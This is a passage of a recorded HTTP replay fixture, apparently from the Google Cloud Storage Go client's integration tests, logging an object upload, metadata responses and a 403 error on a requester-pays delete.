"google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:22 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Urx3fvI3sQc5JiIazK1OQw5W12poVdjRyBKxIBM6N98jEJli9F0O33KVHHcHaP-QybHub31QmLNngZpzcVKJq33DSaVMW2Vpi5BUaVAAUL2jMoyOxs" - ] - }, - "Body": "" - } - }, - { - "ID": "f8b5020ef71e4047", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJuYW1lIjoiZm9vIn0K", - "aGVsbG8=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3112" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:22 GMT" - ], - "Etag": [ - "CIungeHx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uq8QEz45d-uPa7qZ6Nl_SMqw2iepQXoM4aAkTx4YCqArXnSKI1UO3ZhJ5-_PDg3Uq6PPa2JDBTbxckiZCRMQvf0Cv6E_8Cwk3jKXGkneWFJYSeMAts" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMjM2NzM3MSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2ZvbyIsIm5hbWUiOiJmb28iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkyMjM2NzM3MSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToyMi4zNjZaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MjIuMzY2WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjIyLjM2NloiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vP2dlbmVyYXRpb249MTU1NjgzNTkyMjM2NzM3MSZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMjM2NzM3MS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTIyMzY3MzcxIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNJdW5nZUh4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMjM2NzM3MS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MjIzNjczNzEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDSXVuZ2VIeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU5MjIzNjczNzEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTIyMzY3MzcxIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNJdW5nZUh4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMjM2NzM3MS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MjIzNjczNzEiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDSXVuZ2VIeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Im1uRzdUQT09IiwiZXRhZyI6IkNJdW5nZUh4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "7cfadd8c1e7c0bd8", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "13099" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:22 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:22 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpjVnPaklKmbO8qV2lapwEIAwPjvf4HSJs3kNHHO_xZH4bV65pVPLKCb2qjMPCYSwEKRZzH6NpYjm6WlxsBdJnfBvpyRpIR017q9iJDyBcVPNUoDn8" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YTo4OClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuZGVsZXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUZPUkJJRERFTiwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YTo4OClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuZGVsZXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWZvcmJpZGRlbiwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uRk9SQklEREVOLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6ODgpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmRlbGV0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRh